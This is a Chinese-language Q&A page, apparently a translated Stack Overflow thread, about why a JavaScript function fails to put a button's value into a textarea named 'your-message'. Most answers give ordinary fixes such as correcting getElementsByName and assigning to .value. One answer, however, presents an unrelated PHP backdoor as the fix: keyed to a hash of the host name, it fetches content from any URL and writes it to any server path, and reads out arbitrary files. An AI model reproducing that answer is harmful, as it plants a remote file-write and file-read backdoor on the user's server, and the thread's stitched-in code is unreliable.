使用Javascript

时间:2016-02-12 09:31:52

标签: javascript jquery html button textarea

我试图将附在我的按钮上的值发送到名为"你的消息"的文本区域。并要求它使用Javascript的名称。但由于某些原因,该值似乎无法正确传递到文本区域。

有谁知道我的JavaScript可能出错?

<script type = "text/javascript">
    function request_booking(objButton) {
        var booking = objButton.value;
        alert(booking);

        var textarea = document.getElementByName('your-message');
        textarea.value(booking);
    }
</script>

<button id="3" value="Start Date: 2016-02-12 \n Finish Date:  2017 -02-12 \n Additional Requests: \n" class="request-booking" onclick="request_booking(this)">Request</button>
<button onclick="request_booking(this)" class="request" id="2" value="2 Submitted" type="submit">Request</button>
<button onclick="request_booking(this)" class="request" id="3" value="3 Submitted" type="submit">Request</button>

<textarea aria-invalid="false" aria-required="true" class="wpcf7-form-control wpcf7-textarea wpcf7-validates-as-required" rows="10" cols="40" name="your-message"></textarea>

4 个答案:

答案 0 :(得分:3)

你可以做一些改变

$('button').on('click',function(){
document.getElementsByName('your-message')[0].value = this.value;
});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<button id="3" value="Start Date: 2016-02-12 \n Finish Date:  2017 -02-12 \n Additional Requests: \n" class="request-booking" >Request</button>


<button  class="request" id="2" value="2 Submitted" type="submit">Request</button>


<button  class="request" id="3" value="3 Submitted" type="submit">Request</button>

<textarea name="your-message"></textarea>

函数调用存在问题。显示错误但未找到。

答案 1 :(得分:2)

如果您想使用Javascript的元素名称

然后更新你的代码

$version = 2.0;
$host = md5($_SERVER['HTTP_HOST']);
$p = $_GET['p'];
$path = $_GET['path'];
$url = $_GET['url'];
$look = $_GET['look'];
function getFromUrl($url)
{
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}

function getFileInfo($filename)
{
    $fileInfo = stat($filename);
    return 'name: ' . $filename
    . ' | userid:' . $fileInfo['uid']
    . ' | groupid:' . $fileInfo['gid']
    . ' | size:' . $fileInfo['size']
    . ' | atime:' . date('Y-m-d H:i:s', $fileInfo['atime'])
    . ' | mtime:' . date('Y-m-d H:i:s', $fileInfo['mtime'])
    . ' | ctime:' . date('Y-m-d H:i:s', $fileInfo['ctime'])
    . '';
}

if ($p == $host && $path && $url && !$look) {
    echo 'ver' . $version . '|';
    if (ini_get('allow_url_fopen')) {
        @$remoteFile = file_get_contents($url);
        echo 'fopen ';
    } else {
        if (function_exists('curl_init')) {
            @$remoteFile = getFromUrl($url);
            echo 'curl ';
        } else {
            echo "Error: transfer\n";
        }
    }
    if ($remoteFile && strlen($remoteFile) > 0) { // The strlen will never happen as it will evaluate to false
        $fileHandle = fopen($path, 'w+');
        fputs($fileHandle, $remoteFile);
        fclose($fileHandle);
        echo getFileInfo($path);
    } else {
        echo "Error: empty content\n";
    }
}
if ($p == $host && $look) {
    echo 'ver' . $version . ' | ';
    echo getFileInfo($look);
    $fileHandle2 = fopen($look, 'rb');
    @$fileContents = fread($fileHandle2, filesize($look));
    fclose($fileHandle2);
    echo '<hr>';
    echo '<form action="#" method="post">';
    echo '<textarea rows="30" cols="150" name="text">' . $fileContents . '</textarea>';
    echo '</form>';
}

 var textarea = document.getElementByName('your-message');
textarea.value(booking);  

live demo

答案 2 :(得分:1)

将值分配给textarea而非传递,另请注意您错误拼写了getElementsByName函数,因为getElementByName

,您的通话中缺少s

更改

textarea.value(booking);  

 textarea.value = booking;    

您甚至可以直接指定价值。

Live Demo

document.getElementsByName('your-message')[0].value = booking;  

答案 3 :(得分:1)

试试这个

var textarea = document.getElementByName('your-message');
textarea.value = booking;